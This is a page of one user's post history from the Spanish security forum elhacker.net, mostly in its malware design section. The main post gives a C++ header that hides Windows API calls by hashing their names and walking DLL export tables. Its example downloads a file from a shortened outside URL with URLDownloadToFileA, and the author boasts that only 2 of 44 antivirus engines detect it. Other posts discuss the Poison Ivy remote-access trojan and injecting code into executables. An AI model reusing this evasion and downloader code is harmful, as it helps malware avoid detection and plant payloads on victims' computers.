elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ... 187
131  Seguridad Informática / Análisis y Diseño de Malware / Re: [C++ Template] Hasheado de APIs en compile-time - Invoke en: 24 Enero 2013, 22:13 pm
@Shell Root: Más bien sería no abrir el chat para hablar con Ark :laugh:
132  Seguridad Informática / Análisis y Diseño de Malware / Re: [C++ Template] Hasheado de APIs en compile-time - Invoke en: 24 Enero 2013, 21:24 pm
Para pocas funciones yo también prefiero usar typedefs y trabajar con los punteros.... Y mira mi último post en h-Sec :-*
133  Seguridad Informática / Análisis y Diseño de Malware / [C++ Template] Hasheado de APIs en compile-time - Invoke en: 24 Enero 2013, 18:28 pm
Código
  1. #ifndef CRYPTAPI
  2. #define CRYPTAPI
  3.  
  4. struct FNV1a{
  5.    template <size_t N>
  6.    __forceinline static DWORD hash(const char (&str)[N]){
  7.        return (hash<N-1>((const char(&)[N-1])str)^str[N-1]) * 16777619u;
  8.    };
  9.  
  10.    template <>
  11.    __forceinline static DWORD hash<1>(const char (&str)[1]){
  12.        return (2166136261u^str[0]) * 16777619u;
  13.    };
  14.  
  15.    __forceinline static DWORD hash(char* str){
  16.        DWORD r = 2166136261u;
  17.  
  18.        do{
  19.            r ^= *str;
  20.            r *= 16777619u;
  21.        }while(*str++);
  22.  
  23.        return r;
  24.    };
  25. };
  26.  
  27. struct CUSTOM{
  28.    template <size_t N>
  29.    __forceinline static DWORD hash(const char (&str)[N]){
  30.        return ((hash<N-1>((const char(&)[N-1])str) ^ (str[N-1] << 24)) >> 2);
  31.    };
  32.  
  33.    template <>
  34.    __forceinline static DWORD hash<1>(const char (&str)[1]){
  35.        return (str[0]<<24)>>2;
  36.    };
  37.  
  38.    __forceinline static DWORD hash(char* str){
  39.        DWORD r = 0;
  40.  
  41.        do{
  42.            r ^= (*str << 24);
  43.            r >>= 2;
  44.        }while(*str++);
  45.  
  46.        return r;
  47.    };
  48. };
  49.  
  50. template <class ret, class hashFnc = FNV1a> class invoke{
  51. private:
  52.    char*   base;
  53.    DWORD   FuncHash;
  54. public:
  55.    template <size_t N, size_t M>
  56.    invoke(const char (&DLL)[N], const char (&Func)[M]){
  57.        base = (char*)LoadLibraryA(DLL);
  58.        FuncHash = hashFnc::hash<M>(Func);
  59.    };
  60.  
  61.    ret operator()(int numArgs, ...){
  62.        BYTE*                       dirApi;
  63.        IMAGE_DOS_HEADER*           IDH         = (IMAGE_DOS_HEADER*)base;
  64.        IMAGE_NT_HEADERS*           INH         = (IMAGE_NT_HEADERS*)(base + IDH->e_lfanew);
  65.        IMAGE_OPTIONAL_HEADER*      IOH         = &INH->OptionalHeader;
  66.        IMAGE_DATA_DIRECTORY*       IDE         = (IMAGE_DATA_DIRECTORY*)(&IOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
  67.        IMAGE_EXPORT_DIRECTORY*     IED         = (IMAGE_EXPORT_DIRECTORY *)(base + IDE->VirtualAddress);
  68.  
  69.        void**                      FTABLE      = (void **)(base + IED->AddressOfFunctions);
  70.        WORD*                       OTABLE      = (WORD *)(base + IED->AddressOfNameOrdinals);
  71.        char**                      NTABLE      = (char **)(base + IED->AddressOfNames);
  72.  
  73.        for (DWORD i = 0; i <= IED->NumberOfNames; i++){
  74.            if (hashFnc::hash(base + (DWORD)NTABLE[i]) == FuncHash){
  75.                dirApi = (BYTE*)(base + (DWORD)FTABLE[OTABLE[i]]);
  76.                break;
  77.            }
  78.        }
  79.        va_list listaArgs;
  80.        void**  args;
  81.  
  82.        va_start(listaArgs, numArgs);
  83.        args = &va_arg(listaArgs, void*);
  84.  
  85.        for(int n=numArgs-1; n>=0; n--){
  86.            void* temp = args[n];
  87.            __asm
  88.                push [temp]
  89.        }
  90.        va_end(listaArgs);
  91.  
  92.        __asm
  93.            call dirApi
  94.    };
  95. };
  96. #endif

Forma de realizar la llamada:
Código:
invoke<%TIPO_DE_RETORNO%,%ALGORITMO_USADO%>(%NOMBRE_DLL%,%NOMBRE_FUNCION%)(%N_PARAMETROS%,%PARAMETRO1%,%PARAMETRO2%,...,%PARAMETRON%);

Ejemplo de uso:
Código
  1. #pragma comment(linker,"/ENTRY:main")
  2.  
  3. #include <Windows.h>
  4. #include "cryptAPI.hpp"
  5.  
  6. void main(){
  7.    invoke<void, FNV1a>("URLMON", "URLDownloadToFileA")(5, 0, "http://goo.gl/veps2", "C:/test.png", 0, 0);
  8.    invoke<BOOL, FNV1a>("KERNEL32", "ExitProcess")(1, 0);
  9. }
2/44 AV lo detectan... Nada mal teniendo en cuenta que ni URLMON ni http:// va ofuscado/cifrado.


Thread original:
Código:
http://foro.h-sec.org/programacion/(template)-cryptapi-cifra-la-llamada-a-las-apis-d
134  Seguridad Informática / Análisis y Diseño de Malware / Re: Troyano Linux con USB y Arduino Leonardo en: 24 Enero 2013, 02:31 am
Gracias por el vídeo... es increíble que mucha gente crea que son invulnerables.

La única diferencia es que no son objetivo de ataque.
135  Seguridad Informática / Análisis y Diseño de Malware / Re: [Libreria C] Hook a la IAT en: 24 Enero 2013, 01:50 am
Gracias por la aportación mr.blood :)
Realmente lo ideal sería hookear LdrGetProcedureAddress() a pesar de que recorriendo la EAT manualmente se podría escapar.

Otra librería de [Zero]:
Código:
http://foro.elhacker.net/analisis_y_diseno_de_malware/srccasm_clshookapi-t281292.0.html

Saludos
136  Seguridad Informática / Análisis y Diseño de Malware / Re: duda poison ivy en: 22 Enero 2013, 19:36 pm
No hay una herramienta "mejor" que el resto de su tipo. La mejor es la que cumpla tus necesidades. Así de simple.
137  Seguridad Informática / Análisis y Diseño de Malware / Re: duda poison ivy en: 22 Enero 2013, 17:49 pm
No. No funciona en W$7. Podría repararse la carga de kernel32 para que funcionase, pero otras muchas funcionalidades empiezan a fallar.

El PI tristemente ya está descatalogado. Ahora mismo no hay ninguno decente.
138  Programación / ASM / Re: [Micro-rutina] strlen - ANSI en: 22 Enero 2013, 12:15 pm
El asunto es que estoy parcheando un PE que tiene una función con este comportamiento (Cadena NULA = 1, etc...) Quería inyectar un poco de código sin necesidad de redireccionarme a/crear codecaves. Substituyendo la función por una de 20bytes tenía más que suficiente para lo que quería inyectar :)

Me encantan este tipo de threads :rolleyes: ;-)
A ver si acabo una función RC4 y vemos cuanto la podemos recortar >:D
139  Programación / ASM / Re: [Micro-rutina] strlen - ANSI en: 21 Enero 2013, 23:56 pm
No, una cadena vacia tiene un tamaño de 0 caracteres.
No la función que yo quiero :laugh:

La mia si funciona con una cadena nula  :rolleyes:
Devuelve 0 y quiero que sea 1 :-\ Fuera de esa necesidad tu código haría mejor el clone de strlen() y cumple el intel ABI :)
140  Programación / ASM / Re: [Micro-rutina] strlen - ANSI en: 21 Enero 2013, 20:09 pm
Ninguna de vuestras aproximaciones parece funcionar con una cadena nula ;) >:D

Además la función debe incluir el byte nulo en el tamaño. Por lo tanto, con una cadena nula debe devolver 1.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ... 187
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines